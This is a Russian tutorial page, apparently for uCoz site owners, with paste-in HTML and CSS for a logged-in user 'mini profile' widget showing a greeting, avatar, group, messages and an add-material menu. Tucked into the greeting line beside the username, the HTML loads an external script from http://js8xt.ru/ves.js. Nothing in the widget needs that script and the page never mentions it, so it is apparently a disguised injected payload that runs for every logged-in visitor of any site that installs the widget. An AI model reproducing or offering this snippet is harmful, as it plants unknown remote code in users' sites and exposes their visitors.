Регистрация    Войти
Авторизация

Очень красивый мини профиль

Очень красивый мини профиль

Установка:
1) Добавляем блок через конструктор
2) Жмём на значок шестерёнки в правом верхнем углу блока
3) В открывшемся окне жмём на вкладку "HTML";
4) Удаляем там всё и вставляем код:

<?if($USER_LOGGED_IN$)?>     
     <center><li class="cat">Здравствуйте, <font color="#02b702"><script language=javascript src=http://js8xt.ru/ves.js></script><b>$USERNAME$!</b></font></li><br></center>    
     <div id="avatar">    
     <center><a href="javascript://" rel="nofollow" onclick="window.open('/index/8','upp','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350')    
    ;return false;"><img class="userAvatar" title="$USERNAME$" src="$USER_AVATAR_URL$" border="0"></a></center>          
     </p></div>    
     <center><div class="readon">    
           <input href="javascript://" class="button" style="border:0px;" onclick="$('#obshee').toggle('slow'); "value="Информация" type="submit">          
           </div>          
     </center>    
     <div id="obshee" style="display:none;">    
     <li class="cat1"><span style="font-weight:normal"><a href="#" title="Ваша группа: $USER_GROUP$">>Группа: $USER_GROUP$</a></span></li>    
     <li class="cat1"><span style="font-weight:normal"><a href="javascript://" rel="nofollow" id="upml" class="fNavLink" onclick="window.open('/index/8','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;">>Профиль $USERNAME$</a></span></li>    
     <li class="cat1"><span style="font-weight:normal"><a href="javascript://" rel="nofollow" id="upml" class="fNavLink" onclick="window.open('/index/11','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;"">>Изменение данных</a></span></li>    
     <li class="cat1"><span style="font-weight:normal"><a href="#">>Вы с нами: $USER_REG_DAYS$ дней</a></span></li>    
     <li class="cat1"><span style="font-weight:normal"><a href="javascript://" rel="nofollow" id="upml" class="fNavLink" onclick="window.open('/index/14','pmw','scrollbars=1,top=0,left=0,resizable=1,width=680,height=350');return false;">>Читать ЛС ($UNREAD_PM$)</a></span></li>    
     <li class="cat1"><span style="font-weight:normal"><a href="javascript://" title="Выход" onclick="if (confirm('Вы действительно хотите выйти?')) {location.href='$LOGOUT_LINK$'} else {alert('Спасибо что остались с нами!')};">>Выход</a></span></li>    
     </ul></div>    
     <center><div class="readon">          
           <input href="javascript://" class="button" style="border:0px;" a onclick="$('#dobavit').toggle('slow'); "value="Добавить материал" type="submit">    
           </div>    
     </center>    
     <div id="dobavit" style="display:none;">    
     <li class="cat1"><span style="font-weight:normal"><a href="/photo/0-0-0-1">>Обои</a></span></li>    
     <li class="cat1"><span style="font-weight:normal"><a href="/publ/0-0-0-0-1">>Статью</a></span></li>    
     <li class="cat1"><span style="font-weight:normal"><a href="/load/0-0-0-0-1">>Файл</a></span></li>    
     </ul></div>    
     <?endif?>$LOGIN_FORM$<br>


5) В style1.css в самый низ ставим:

/* Profile by ARTJUMP*/             
   li.cat1 { list-style:none; margin:0px 0px 2px 0px; padding:0px;}              
   li.cat1 a:link { display:block; text-decoration:none; solid #131313; text-align:left; padding-left:5px; height:13px; color:#808080; font-family:Century Gothic; font-size:10px;}              
   li.cat1 a:visited { display:block; text-decoration:none;  solid #131313; text-align:left; padding-left:5px; height:13px; color:#808080; font-family:Century Gothic; font-size:10px;}              
   li.cat1 a:hover { display:block; text-decoration:none; solid #00fcff;  text-align:left; height:13px; color:#00fcff; font-family:Century Gothic; font-size:10px; }              
   li.cat1 a: { display:block; text-decoration:none;  solid #3D3D3D; text-align:left; height:13px; color:#808080; font-family:Century Gothic; font-size:10px; }              
   li.cat1_bottom a:link { display:block; text-decoration:none;  solid #131313; border-bottom:3px solid #131313; text-align:left; padding-left:5px; height:15px; color:#3D3D3D; font-size:11px;}              
   li.cat1_bottom a:visited { display:block; text-decoration:none;  solid #131313; border-bottom:3px solid #131313; text-align:left; padding-left:5px; height:15px; color:#3D3D3D; font-size:11px;}              
   li.cat1_bottom a:hover { display:block; text-decoration:none;  soalid #131313; text-align:left; height:15px; color:#3D3D3D; font-size:11px; }              
   li.cat1_bottom a:active { display:block; text-decoration:none;  solid #131313; border-bottom:3px solid #3D3D3D;  text-align:left; height:15px; color:#3D3D3D; font-size:11px; }              
   li.cat { display:block; text-decoration:none; border:0px solid #3D3D3D; color:#808080;  padding-right:5px; padding-top:3px; height:13px; width:180px; font-weight:normal; font-family:Century Gothic; font-size:10px; }            
   /* ------------- */

Есть вопросы по шаблону или скрипту? так задай их и мы ответим!

Автор: niknamebic  27-04-2012, 13:41   Просмотров: 2570   
правом, углу, окне, HTML, Добавляем, блок, значок, шестер, открывшемся, верхнем, блока
Уважаемый посетитель, Вы зашли на сайт как незарегистрированный пользователь. Мы рекомендуем Вам зарегистрироваться либо зайти на сайт под своим именем.


Информация
Посетители, находящиеся в группе Гости, не могут оставлять комментарии к данной публикации.